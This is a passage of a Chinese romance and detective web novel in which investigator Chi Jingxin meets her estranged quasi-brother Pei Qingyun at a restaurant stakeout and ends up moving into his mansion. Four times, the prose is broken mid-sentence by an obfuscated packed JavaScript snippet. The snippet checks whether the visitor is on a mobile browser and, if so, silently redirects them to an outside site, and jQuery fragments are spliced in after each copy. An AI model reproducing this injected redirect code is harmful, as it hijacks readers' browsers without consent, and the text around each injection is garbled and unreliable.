池镜心还没来得及开口,坐在她旁边的秦铠澄已经欢呼起来了:“好耶!阿心住过来的话我就不无聊了!以后每天早上我们一起下山,你上班,我上学,周末我们一起出去玩……” 池镜心缓缓摇了摇头,说出了自己刚编的借口:“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917523|177022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,这里离真姐的事务所有点远,我上班会不太方便。” “啊?那好吧,那周末你有空就过来住哦。”秦铠澄虽然很遗憾,但还是尊重她的决定。 池镜心低头默默扒着饭。她知道契爷契妈都很关心她,她也很想和澄澄一起住。但她真的不想每天都当别人幸福生活的旁观者。 幸福都是别人的,她什么也没有。 吃完晚饭,又和契爷契妈聊了会儿天,池镜心独自搭乘交通工具回家。斜倚在地铁车厢的角落里,她终于不用再戴着微笑面具了,整个人都丧丧的。 她回想起自己短暂二十年人生里所失去的那些幸福,一会儿脑子里飘过白居易的那句诗——大都好物不坚牢,彩云易散琉璃脆;一会儿又飘过《金刚经》里的偈子——一切有为法,如梦幻泡影,如露亦如电…… 直到钟言真给她发了一条消息,才打断了她的文艺病。 钟言真:“明天有空吗?出来干活。” 第二天一早,池镜心就去了钟言真的事务所。 这家事务所全名是“洞烛侦探事务所”,取“洞烛其奸”之意。只是客户们大多数时候都会把“洞烛”两个字看成“虫洞”,开口闭口“你们虫洞blabla”。钟言真表面上礼貌微笑,心里暗骂这些人没文化眼神还不好使。 池镜心来到事务所,钟言真立刻给她交代了新的任务。 港岛有一个叫陈家荣的富老头,前段时间收到了一个匿名信封。信封里有两张照片,拍的是他跟两个年轻女孩子亲密贴脸的画面。 陈家荣找到了钟言真,声称照片中的两个女孩都是他的孙女,从小在法国长大,因此养成了行贴面礼的习惯,一见到他就要贴贴脸。 谁成想竟有人跟踪他,还拍下这种乍一看很让人误会的照片。陈家荣非常生气,拜托钟言真一定要帮他查出拍照的人。 在钟言真的办公室里,钟言真拉着池镜心的手,笑得一脸亲切:“宝贝,这种任务,少不得又要你打头阵了。今晚你跟陈先生一起吃个饭,搞些亲密一点的举动。我跟阿豪会守在附近观察,看看有没有可疑人物在暗中偷拍你们。” 陪富老头吃饭?这种任务一听就很无聊。池镜心有些无语地抽回了手:“怎么老让我接这种牺牲色相的活啊。” “因为我们整个事务所,只有你有色相啊。” 钟言真伸出手掐了掐她的脸,心里暗暗感叹,年轻就是好,这脸蛋真是水嫩Q弹得不得了,还带点婴儿肥呢。 在钟言真看来,池镜心虽然没有读大学,但她完全可以凭优越的外形条件当个model什么的。也不知道这小孩吃错了什么药,非要来侦探事务所当调查员,整天风里来雨里去,累死累活也挣不到几个钱。 傍晚,池镜心穿着一条小黑裙,挽着银发苍苍的陈家荣的胳膊,走进了中环某家新开的中餐厅。 陈家荣有些紧张兮兮地左顾右盼,恨不得亲自揪出偷拍他的家伙。 钟言真通过微型耳麦提醒池镜心:“阿心你别板着个脸,笑得娇一点,还有你提醒一下陈先生,让他别左顾右盼,抓人的事我们会负责的,他只需要安心吃饭就好。” 池镜心调整了一下表情,巧笑嫣然地凑到陈家荣耳边,装作很亲密的样子跟他耳语:“陈先生,您别左顾右盼了,很容易让人看出端倪的。您安心用餐就好,其他都交给我们负责。” 陈家荣讪笑着点了点头。两人在侍应生的指引下入座。 不远处,裴清昀家的保镖阿锋正一瞬不瞬地盯着池镜心的身影。他今天难得休假,便带着女朋友来这家新开的餐厅约会,谁成想竟见到了自家老板前几天派他寻找却死活没找到的那个女孩子,真是得来全不费工夫。 阿锋立刻拿起手机,给裴清昀打了个电话。 “裴先生,我见到清明那天浩园门口的那个女孩了。” 裴清昀还在办公室里,正准备下班回家。接到这个电话后,他立刻沉声问阿锋:“她现在在哪?” “在朗月轩,跟一个老头一起吃饭,看起来还挺亲密的。” 裴清昀呼吸一滞,握着手机的手指瞬间用力到泛白。 “看着她,我马上过来。” 裴清昀几乎是咬牙切齿地说出了这几个字。 此刻他脑子里只有一个念头:程!镜!心!你个孽障!我要替契妈打断你的腿!!! 4. 恶劣 池镜心平时吃的都是廉价的两餸饭,今晚来到朗月轩,她的味觉持续被各种高级料理震撼,忍不住埋头狂吃起来。 陈家荣没什么胃口,只看着池镜心风卷残云的吃相叹了口气,有些羡慕地想:年轻人胃口就是好。 钟言真的声音在池镜心耳道里响起:“阿心,你注意一下吃相。你和陈先生现在看起来不像是在约会,倒像是一个饕餮转世的孙女,和一个担心被孙女吃破产的可怜老人。” 池镜心被这话逗得差点笑喷,赶紧抽了张餐巾纸按了按嘴角,竭力让自己看起来斯文一点。 又过了片刻,钟言真的声音忽然严肃起来:“阿心,我和阿豪已经发现了一个可疑目标,需要你帮忙验证一下。你现在喂陈先生吃口东西。” 池镜心立马会意,她拿起调羹,舀了一勺金钩翅,笑眯眯地将调羹递到陈家荣唇边。 “陈先生,麻烦配合一下,张嘴,啊~” 另一边,阿锋已经和女朋友吃完了饭。他让女朋友先行回家,他独自留在朗月轩等裴清昀。 很快阿锋就遥遥瞥见裴清昀的车到了,他立刻迎了上去,亲自给裴清昀带路。 裴清昀跟着阿锋走进朗月轩,隔着不远不近的距离,他正好看到池镜心笑着喂一个糟老头子吃饭的那一幕。 由于这个画面视觉冲击力实在太强,裴清昀只觉得脑子里轰隆一声响,仿佛从天而降一道巨雷,将他的头盖骨劈了个四分五裂。 他眼前一黑,差点一口气没倒上来。 裴清昀强压下想要杀人的冲动,快步朝池镜心走去,沉着脸叫出了她的名字:“程镜心!” 池镜心偏过头,看到裴清昀正朝自己走来,完美的建模脸上阴云密布,周身的低气压预示着一场即将到来的狂风暴雨。 池镜心有些诧异,但她很快咧嘴一笑,云淡风轻地回道:“你认出我来啦?不过我现在改随母姓了,请叫我池镜心,谢谢。” 听到这话,裴清昀的第一反应是:随母姓?你个混账东西也配随母姓!也不怕玷污了你母亲的清名! “你出来一下,我有事要找你谈谈。”裴清昀走到她身侧,冷眼俯视她。 “我这会儿有正事要忙,加个联系方式,回头再聊,行不?”池镜心一边说一边拿起了手机。 她抬眼看向裴清昀的目光无辜又清澈,却成功让裴清昀的怒火烧得更旺了,他恨不得掐着她的后脖子质问她:你所谓的正事就是陪一个年纪起码是你三倍大的糟老头子吃饭?! 裴清昀深吸了一口气,强行将怒气压了下去,一字一顿道:“现在就谈。” 池镜心有些不耐烦地伸手去推他:“哎呀你别杵在这,别吓到我的客户了。” 她口中的客户陈家荣一脸茫然地看着他俩,完全搞不清楚这是什么状况。 客户?裴清昀气得眼前一阵阵发黑,此刻他想为池若颐女士清理门户的心情达到了巅峰。 就在这时,钟言真的声音通过微型耳麦再次在池镜心耳道里响起。 钟言真:“阿心,可疑目标已离开餐厅,我和阿豪现在要去跟踪他,你的任务已经完成了。” 听到钟言真这么说,池镜心松了一口气,转头笑嘻嘻地跟陈家荣说:“陈先生,今晚就到这里啦。我还有事,先走一步。” 陈家荣听她这么一说,立刻懂了这是不用再演戏了的意思,他点头应道:“好,你忙去吧。” 池镜心站起身,拽着裴清昀的胳膊往外走。 裴清昀冷着脸,任由她将自己拽到餐厅外。 此时外面已经夜色浓重,池镜心寻了个人少的角落,和裴清昀面对面站着。 她傲娇地抬起下巴质问他:“你到底想跟我谈什么?” “你和那个老头是什么关系?” 池镜心愣了一瞬,她看着裴清昀那双强压着怒气的琥珀色眼睛,忽然觉得很有意思。 自从上次被拒稿,她心情一直不怎么好,正想找点乐子改善下心情,眼下这不就是送上门来的乐子吗? 她轻轻一笑,天性里恶劣的那一部分如春天的种子,疯狂发芽生长。 “什么关系?金钱关系咯。他给我钱,我陪他吃饭,也可以做别的,不过那是另外的价钱。” 池镜心得意洋洋地看着裴清昀,笑得毫无廉耻。 她没觉得自己说错了什么,陈家荣出钱请他们调查偷拍一事,她为了查出真相陪陈家荣吃饭,这确实就是金钱关系嘛。至于眼前这位多年不见的便宜哥哥会把这句话理解成什么意思,那是他自己的问题。 他要是想歪了,那就是他淫者见淫,反正不关她的事,她还是清清白白的好阿心。 裴清昀前一刻还怒火滔天,现在看到她这样恬不知耻的样子,他心中愤怒的岩浆喷涌,冷却,凝固成悲哀的黑色玄武岩,沉重地压在他心头。 迎着裴清昀那沉重、悲哀的目光,池镜心都快爽死了。让你不买我的酒,让你从小就在我妈面前跟我争宠,姐玩不死你! 裴清昀沉默了片刻,又问:“你为什么没去加拿大?你父亲不是带着全家移民加拿大了吗?” 池镜心歪了歪头,吊儿郎当地回道:“关你什么事?咱俩都多少年没见过面了,你干嘛突然冒出来,装作一副很关心我的样子?你不会也想跟我发生点金钱关系吧?看在是熟人的份上,我可以给你打个折。” 说完,池镜心的眼睛一瞬不瞬地盯着裴清昀的脸,无比兴奋地期待对方的反应。她就是个天生的恶劣胚子,她说的每一个字都是冲着气死裴清昀去的。 裴清昀闭上眼睛深吸了一口气,他气得指尖都在微微颤抖。 “给你爸打个电话,我有话要跟他说。” “干嘛?”池镜心眨了眨眼睛,“要跟我爸告我的状啊?不是吧,你都多大的人了,还来这招。” “你爱打不打,”裴清昀倏然睁开眼,看向她的目光冰冷而嫌恶,“我已经派人去加拿大找你爸了,早晚能搞到他的联系方式。你在港岛干的这些破事,别以为能瞒住他。” “哦哟,我怕你啊?”池镜心依然是一副混不吝的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917524|177022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态度,将小太妹的做派学得活灵活现。 她掏出手机,满不在乎地翻出她父亲的联系方式,拨打了过去。 “不用那么麻烦,我现在就给我爸打电话,我倒要看看你能跟他说些什么。” 过了十几秒钟,电话终于接通。程文睿的声音从手机里传来,带着些许不耐烦。 程文睿:“大清早的给我打电话做什么?” 这会儿多伦多的时间是清晨八点。 池镜心的声音也带着些许不耐烦:“我遇到阿昀了,他让我打的,他说他有话要跟你说。” 说完她就将手机往裴清昀面前一递,微微仰起的脸上一派桀骜不驯,她觉得自己酷毙了。 但在裴清昀看来,她这副样子叫死猪不怕开水烫。 裴清昀接过手机,清了一下嗓子才开口:“喂,程叔,我是阿昀。” 程文睿的语气立刻和缓了不少:“哦阿昀啊,真是好久没联系了,你找我是想说什么?” 裴清昀:“我最近遇到阿心了,她为什么还留在港岛?” 程文睿:“她啊,她不想来加拿大,我也管不住她,就随她去了。” 裴清昀:“程叔,我发现阿心现在的私生活特别混乱,前几天她还被警察给当街逮捕了。您应该把她接到加拿大去,好好管教她,不可以再放任她继续堕落下去了,不然早晚有一天她会出大事。” 程文睿:“这个……我最近太忙了,走不开。” 裴清昀:“那我派人把她送到加拿大去,你把住址发我就行。” 程文睿犹疑了片刻:“阿昀啊,我这里暂时没有多余的房间给她住。而且你知道的,她从小脾气就怪,跟她后妈和弟弟处得也不好。她来了家里又要鸡飞狗跳了。” 裴清昀的脸色已经难看到不能更难看了,声音也冷得能把空气冻出冰碴:“所以您不打算管她了是吗?” 程文睿还是那副礼貌而敷衍的语气:“不好意思啊阿昀,我儿子今早发烧了,我这会儿急着送他去医院。阿心那边我实在顾不过来,你有空的话你替我管管她吧,不说了啊我挂了。” 程文睿话一说完就迅速挂断了电话,动作快得好像躲瘟神一般。 裴清昀心底积压的怒火再一次喷发。这世上竟有这样当爹的!他被怒火激得有一瞬间情绪失控,一把将手机狠狠摔到了地上。 他看着被摔得四分五裂的手机尸体,理智又在一瞬间回笼。等等……这不是他的手机。 池镜心也看着地上的手机尸体,愣了一秒,然后瞬间暴怒。 她像一头小花豹一样猛扑上去掐裴清昀的脖子,边往死里掐边破口大骂:“那是我的手机!你神经病啊!在我面前装什么霸道总裁!我看你是寿星公吊颈——嫌命长!” 一直跟在裴清昀左右的保镖阿锋见状,赶忙上去解救自家老板,一边拉池镜心的胳膊一边好声好气地劝:“冷静点啊妹妹仔,他会赔你的,他超有钱,肯定会赔你的……” 一时间场面混乱得如同狗场一般,充斥着暴力与狂吠。 5. 回家 从商场里出来,池镜心脸色始终不怎么好看。 她手里拿着裴清昀刚赔给她的新手机,跟她被摔碎的那个同品牌,最新款,最高配置。尽管如此,她还是在记仇本上给裴清昀又重重记上了一笔。 裴清昀脸色也不怎么好看。他看了一眼时间,已经晚上九点多了。 “不早了,先送你回家。你干的那些破事,以后我还会再找个时间跟你细谈。” 池镜心一脸无所谓的冷漠表情,大摇大摆地上了裴清昀的车,跟个大爷一样歪在座椅里,好像这车是她的,司机保镖包括裴清昀都是她的随从。 还不待司机问,她就主动报出了地址:“明水街31号,唔该。” 裴清昀有些意外:“你不是住天怡花园吗?” “我爸出国前把天怡花园的房子卖了。” 裴清昀沉默了片刻,微不可闻地轻叹了一口气。他今晚不止被池镜心气得头昏脑涨,也对程叔非常失望。移民不带自己的女儿,还把房子也卖了,连个住所都不给她留,这哪里是人干得出来的事。 有这样不负责任的亲爹,那么阿心的堕落多少也说得通了。想到这里,他对池镜心少了几分不满,多了几分同情。 再开口时,他语气都和缓了不少:“回去早点休息,明天周三,你应该还要上课吧?现在读大几了?” 池镜心瘫在后座上,缓缓露出一个得意的欠抽的微笑,懒洋洋道:“上课?我都多少年没上过课了。我压根就没考上大学。” 裴清昀:“……” 刚刚产生的那几分同情转瞬间荡然无存。 裴清昀自幼接受精英教育,身边的亲友都是一路名校读出来的,在他的世界里,就不存在考不上大学这回事。 他深呼吸了几口气,忍了又忍,还是没忍住问了一个没有意义的问题:“为什么没考上?” 池镜心单手支着头,津津有味地欣赏他的反应:“还能为什么?还不是因为姐太天才了,世俗的教育根本识别不了我这样的天才人物。” 裴清昀没再说话,他怕自己再跟她多说一句,就会抑制不住把她扔出车窗的冲动。 两人一路无话,没过一会儿司机就将车停到了金玺大厦外。 裴清昀透过车窗玻璃,打量外面嘈杂喧嚣的环境,皱起了眉:“怎么住到深水埗来了?这里太乱了,不适合你这种年轻女孩独居。” “乱?”池镜心满不在乎地挑了挑眉,“谁还能乱得过我啊?” 裴清昀:“……” 你还挺骄傲是吧?混帐东西。 两人下了车,池镜心刚刚站定,就听到不远处有人叫她:“喂!阿心!” 她转头一看,是事务所的同事——龙仔、阿杰和向思移。 今天这三人也有任务在身,他们仨在负责跟进一桩调查社团人士的委托。为了打入社团内部深入调查,三人都打扮成了混社团的古惑仔和小太妹。 龙仔的脖子上有一大片用纹身贴制造出来的纹身,阿杰用临时染发剂染了一头奶奶灰,向思移脸上粘着假眉钉鼻钉唇钉等物……总之,这三人都在竭尽全力让自己看上去不像好人。 前几天池镜心因为心情不好,便邀请同事们今晚到她家私人天台开party,吃点烧烤,喝点啤酒,改善下心情什么的。因此,今天龙仔、阿杰和向思移一收工,便一起来到了金玺大厦楼下等池镜心。 这三人大概是因为今天扮古惑仔和小太妹扮得太投入,这会儿依然吊儿郎当地勾肩搭背,说话也流里流气的。 龙仔:“我们都等你老半天了,快带我们上楼。” 阿杰:“怎么就你一个人?阿豪不来吗?” 向思移:“送你回来的这帅哥是谁?新客户吗?” 池镜心正要回答,蓦地感到脖子一紧。 裴清昀不知道什么时候绕到了她身后,铁钳般的大手死死掐着她的后颈,脸色森寒,额角青筋暴起:“这帮古惑仔来你家找你做什么?” 毕竟脖子被人掐在手里,池镜心难得乖巧地实话实说:“我们打算开个小party,你要参加吗?” 裴清昀怒气更盛:“你们打算开银趴?!” 池镜心一愣,心想你比我有想象力多了,果然还是有钱人见多识广。 见池镜心愣着不说话,裴清昀当她默认了。他正要发作,不远处的向思移见氛围不对,试图解释:“那个,我们……” 池镜心瞬间回过神来,心中恶劣的种子疯狂生长开花。她的便宜哥哥越来越好玩了,她可还没玩够,岂能这么快掉马。 她不动声色地朝向思移比划了一个手势。这个手势是事务所内部通用的一个暗语,意思是“所有行动暂停,请立刻回避”。 向思移本来想说“我们不是古惑仔”,一见到这个手势,她立刻话锋一转,“我们……有事先走了哈。” 向思移、龙仔和阿杰虽然搞不清楚状况,但跟池镜心一起出过那么多次任务,默契度多少还是有的。三人一溜烟的就跑了,留下池镜心和裴清昀站在原地。 一阵凉爽的夜风拂过,池镜心回头看向裴清昀,咧嘴一笑,带着一点讨好的意味:“要上去坐坐吗?” 裴清昀已经出离愤怒,看到她这个无耻的笑容更是气不打一出来,用手指戳着她的锁骨狂骂: “坐你个头!!!你是不是忘了你母亲生前是O记的总督察?!你是不是忘了你母亲因公殉职都是这帮古惑仔害的?!你还跟他们一起鬼混?!你不怕半夜你母亲站你床头抽你耳光吗?!” O记全称是“有组织罪案及三合会调查科”,主要负责打击有组织犯罪和□□活动。池若颐女士生前作为O记的总督察,抓的就是这些违法乱纪的古惑仔。她之所以会因公殉职,也是因为在一次追捕社团人士的行动中出了严重车祸。 因此,池镜心其实非常讨厌混社团的古惑仔,她是万万不可能真跟社团人士有来往的。 眼下听裴清昀提到了自己的母亲,池镜心目光一黯,也没心情逗他玩了,低着头乖乖认了个错:“好了好了,消消气,我不会再跟他们鬼混了。” 池镜心的话在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917525|177022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴清昀这里可信度为零。这帮古惑仔都知道她的住址了,以后上门骚扰她还不是分分钟的事。 他用不容置疑的语气命令她:“上楼,收拾行李跟我走,以后不许住这了!” 池镜心抬头看向他,用最无辜的表情问出最惊悚的话:“你是想跟我开房吗?” “我想开你的天灵盖!把你的脑子掏出来看看到底是出了什么问题!” 池镜心毫无畏惧地耸了耸肩:“有钱人玩得就是变态哈。” 她转身走进金玺大厦。裴清昀想到什么,也跟着进了楼。 “怎么租了个没有电梯的房子?”裴清昀一边拾阶而上一边问。 “不是租的,这里的房子是我公公婆婆留下来的。” 裴清昀:“……” 家里老人留下来的房子也敢带小流氓进来鬼混,罪加一等! 终于到了七楼,池镜心摸出钥匙开了门,转过头对裴清昀说:“我一个人住,没有多余的拖鞋,你直接进来就行。你要喝点什么吗?” “不用,赶紧收拾行李,收拾好了我们就走。” “就这么迫不及待要跟我开房啊。” 裴清昀没搭理她。这一晚上他经受的刺激实在太多,已经或多或少有些麻木了。 池镜心进了卧室,将门反锁上了,她想换身衣服。今天为了假扮成陈家荣的小情人,她穿了一条漂亮的小黑裙。其实她不太喜欢穿裙子,不方便动手打人。她从小学习格斗,最喜欢穿的还是各种宽松舒适方便活动的衣服。 裴清昀一进屋就在打量这套小小的房子,客厅里物品摆放稍显凌乱无序,但还算干净,没看到什么灰尘垃圾。 等池镜心进了卧室,关上了卧室门,他立刻在客厅里四处翻查。 他这辈子从没参加过银趴,但他知道银趴是怎么一回事。各种助兴的违禁药物是少不了的。要是被他发现池镜心在家里藏了毒,那她就死定了。 池镜心换好衣服,想起行李箱放在了书房里,于是她又将卧室门打开。从她的视角,她正好看到裴清昀正背对着她,急切地翻找着什么东西,他右手还拿着一块白色布料。 池镜心冷不丁开口:“你手里拿着我的内衣做什么?” 裴清昀吓了一大跳,好像被烫到一般一把将手里的白色布料扔了出去。这是他刚刚翻看沙发上堆积的物品时顺手拿起来的,他根本都没注意到这是一件内衣。 “我……只是想帮你收拾一下,你屋子太乱了,我不知道……”裴清昀语无伦次地解释着。他做上位者已久,已经很久没这样慌张狼狈过了。 池镜心气定神闲地走了过来,拿起被他扔到沙发上的白色布料,展开一看,并非内衣,只是一条毛巾罢了。 她露出恶作剧得逞的笑容,转头笑嘻嘻地看着裴清昀:“哎呀,我看错了,原来只是一条毛巾。” 裴清昀:“……” 池镜心一脸无辜地眨了眨眼睛:“哥哥,你怎么脸红了?” 只有天知道,此刻裴清昀有多想拿起那条该死的毛巾绞死她。 6. 过去 池镜心随便收拾了下行李,裴清昀家的保镖帮她把行李箱拎下了楼。 两人上了车,安静不了两分钟,池镜心又开始贱不喽嗖地开玩笑:“你不会要把我拉去卖了吧?” 裴清昀冷哼了一声:“你有什么被卖的价值?像你这种社会渣滓,剁碎了拿去施肥都只会污染环境。” 池镜心没生气,反而觉得他的话很搞笑,兀自吃吃地笑了起来。 裴清昀看不惯她这副没脸没皮的德性,偏过头看向窗外的夜色,一路上都没再搭理她。 司机将车开回了裴清昀位于渣甸山的住所。 港岛许多半山豪宅都豪气有余,艺术感不足,但裴清昀的住所是例外。这栋后现代主义象牙白建筑掩映在浓重树荫里,仿佛波涛中涌出的一枚洁白贝壳。 池镜心一下车就开启了刘姥姥进大观园模式,一路上不断发出夸张的惊叹声:“哇,你这房子好大,哇,外立面好有设计感……哇,庭院也好漂亮……你小子品味不错嘛……不对,你能有什么品味,是你找的设计师有品位才对。” 裴清昀一边穿过庭院,一边毫不客气地回怼:“你的词汇量很匮乏,只会哇来哇去,果然不读书就会变成绝望的文盲。” 走进别墅明亮的一楼大厅,裴清昀向闻讯而来的管家介绍池镜心:“这是我亲戚家的小孩,叫池镜心,她会在这里住一段时间,把她的行李箱拿到一楼客房去吧。” 说完他又看向池镜心,板着脸给她立规矩:“今后你住一楼的客房,一楼和庭院你可以随意活动,楼上都是我的私人空间,你不许上来。” 池镜心十分自来熟地往沙发上一瘫,有些不满:“我一个人住一楼啊?我会害怕的。我就不能跟你住一个房间吗?” 裴清昀已经渐渐习惯了她这种不着调的说话方式,面色不改地回道:“害怕的话你就住地下室去,那里人多。” 港岛的独立屋大多将工人房设计在地下室里,负责服务屋主的司机保镖家政人员等都住地下室。 池镜心更加不满了:“你让我住地下室?你把我当什么了?” “或者你也可以去后院跟阿智一起住。” “阿智是谁?” “我养的狗。” 正常来说池镜心应该会感觉到被羞辱了,然后跳起来对着裴清昀破口大骂。 但可惜她不是正常人。她的注意力极其容易跑偏。现在她的注意力已经完全偏移到阿智那去了。 “你养了狗?”池镜心一脸惊喜地看向裴清昀,“什么品种?公的母的?几岁了?我要去找它玩!” 裴清昀:“……” 跟她说个话怎么就这么费劲。 他想起了小时候,他给池镜心辅导过功课。那时候她的注意力就跟脱缰的野马一样,怎么拴都拴不住。给她辅导一次功课能把他气出内伤。契妈说阿心患有ADHD,让他别跟她一般见识。 现在裴清昀也依然选择了不跟她一般见识,只扔下一句“很晚了,早点休息”便上了楼。 池镜心不想睡觉,她想去后院找阿智,但管家把她叫住了。 管家是一位端庄优雅的中年女性,叫温迪。温迪将池镜心带去了客房,询问她有什么需要,第二天要吃什么早餐,又拿了些不同牌子不同香型的洗漱用品让她选。 池镜心随便选了几样就去浴室洗澡了。洗完澡,她已经完全忘记了阿智,只惦记着跟秦铠澄聊天。 “澄澄!我跟你讲,我今天遇到我那个便宜哥哥了!” 视频一接通,池镜心就像一只欢快的哈士奇一样跟秦铠澄倾诉今天的遭遇。 秦铠澄听着听着,忽然皱眉打断了她:“你搬去你那便宜哥哥家住了?” 池镜心心里咯噔了一下。之前契爷契妈让她搬去警务处处长官邸住,她拒绝了,一转眼她就搬到了裴清昀这里,澄澄肯定不开心了。 池镜心眨巴着大眼睛,正要酝酿一下情绪跟秦铠澄赔罪,秦铠澄一脸严肃地先开口了:“你把门牌号发我一下。毕竟你们没有血缘关系,他要是意图不轨怎么办?我记一下地址,以后出什么事了我好帮你报警。” 池镜心瞬间感动得一塌糊涂。呜,世上还是澄澄好,她何德何能配得上澄澄这么好的朋友。 “晚上天太黑,我没留意到门牌号,只知道是在渣甸山这边。明天我去瞅一眼门牌号再发给你。” “渣甸山?!”秦铠澄瞪大了眼睛,“你那便宜哥哥住渣甸山的?!他什么来头啊?” 秦铠澄从小就听池镜心吐槽过她有一个烦人的便宜哥哥,但并不清楚此人的姓名与背景。 “他叫裴清昀,你可能听说过这个名字,他家还蛮有名的。” 秦铠澄瞬间倒吸一口凉气:“是鼎钧集团的那个裴清昀?!” “对啊。” 秦铠澄爆发出长达数秒的尖锐暴鸣,继而冲池镜心咆哮:“你不早说!我要是早知道你那个便宜哥哥就是裴清昀,我就让你带我去见见他真人了!” 池镜心满脑袋问号:“他又不是明星,见他干嘛?” “他长得好看啊!我还给他投过票呢!港岛女性最想嫁男性排行榜,我年年都投他,他年年都排第一。” “哈?还有这么个排行榜?哪家无聊媒体搞的?” “哎呀这下我不担心他对你图谋不轨了,我比较担心你对他图谋不轨,阿心你要把持住啊。” “哈哈哈哈哈哈!”池镜心乐得在床上打了个滚,“澄澄你好神经啊!” “对了,既然你们从小就认识,那你知道他身上的那些传言都是真的吗?” “什么传言?” 池镜心平时不怎么看八卦新闻,对城中名流们身上的八卦绯闻都不是很清楚。但秦铠澄却是个八卦新闻爱好者,她立刻一股脑地把有关裴清昀的那些流言蜚语都倒了出来。 “就是他的身世之谜啊。你知道的,港岛这些豪门世家一旦有新生儿诞生,狗仔们都会去跟拍报道的。但裴清昀出生时并没有被报道过,外界一直不知道他的存在。 直到他好几岁了,才有狗仔拍到裴家多了一个小孩子。裴家这才公开声明说他是裴家大小姐裴蕴仪的儿子。但是裴蕴仪常年住在国外,一直没有结婚,忽然变出这么大一个生父不详的儿子,很多人都觉得很古怪。 有人说他根本不是裴蕴仪的儿子,他其实是他公公裴明德的私生子,也有人说他是他舅父裴蕴仁的私生子。” 池镜心大为震撼:“这么复杂啊……我小时候从没听他讲过他家里的事,他不爱说这些。” 她忽然想起来,裴清昀小时候跟其他豪门少爷是有些不一样。出身好的小孩大多性格骄矜,表面上再讲礼貌,骨子里依然透着傲慢。 但裴清昀小时候看起来挺阴郁的,不爱说话,在面对池镜心的母亲池若颐时,他甚至会流露出一种小心翼翼的讨好感。 小时候的池镜心不喜欢他,故意欺负他,他也默默忍受,从不跟她计较,甚至每次来她家还会给她带礼物,试图化敌为友。 这种温良无害忍辱负重的小受气包,实在不像是大富大贵之家能养出来的小孩。 秦铠澄继续说着有关裴清昀的八卦:“他现在不是担任鼎钧集团的董事局主席嘛,其实当年他公公退休后,应该是他舅父裴蕴仁上位的。但据说裴蕴仁在一夜之间精神出了问题,死活闹着要出家,这才换裴清昀上位。 坊间一直有传言说是他把他舅父给害成了精神病,还把他舅父给囚禁在了裴家的家庙优昙寺里,他舅父的儿子裴清融也被他发配去了非洲。” 池镜心倒吸一口凉气:“这什么豪门狗血悬疑大剧!” 难道小时候那只温良无害忍辱负重的小受气包,已经黑化成了邪恶大魔头? 池镜心抬头看了一眼天花板,平生第一次对楼上的裴清昀产生了莫大的好奇。 她身为侦探事务所调查员的职业病正蠢蠢欲犯,当即打定了主意,要在这里住到查出真相为止。搞不好裴家的豪门恩怨还可以为她的下一篇推理小说提供灵感和素材。 此时楼上的裴清昀完全不知道自己已经被池镜心当成了写作素材。他侧卧在床上,怎么都睡不着。今天被池镜心气得太狠,他现在太阳穴都还在突突的疼。 他想起了小时候,池镜心就是一个问题儿童。他听契妈和程叔讲过,池镜心在学校里的表现非常离谱。 不按时完成作业,考试只写一半的题,上课从来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15917526|177022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不听课,自己在下面偷偷摸摸地写故事画画,逃避所有的集体活动…… 一旦有男生犯贱惹到她,她就会瞬间情绪失控,追着人家打。人家小男生都躲到男厕所去了,她还要不管不顾地冲进去,把人揪出来暴揍一顿,男厕所里的男老师都被她吓得尿到了裤子上…… 因种种战绩太辉煌,老师把池若颐和程文睿叫去了学校,说池镜心脑子可能有点毛病,建议带去检查一下。 池若颐还真带她去检查了,医生说这孩子确实有问题,她是ADHD患者。 到了池镜心九岁那年,她已经非常抗拒上学了,学校里的老师也非常抗拒见到她。没办法,她父母只好给她申请了在家接受教育。从那以后她就再也没去过学校。 裴清昀以为她至少能上个大学的。小时候他给池镜心辅导过功课,发现她虽然注意力不行,但智商还挺高的,就算自学成绩也还不错。如果契妈没有去世,一直陪着她管着她,她现在应该已经考上名校了吧。 想到这里,裴清昀叹了口气,下定决心要替已逝的契妈好好管教池镜心,监督她明年务必考上大学。 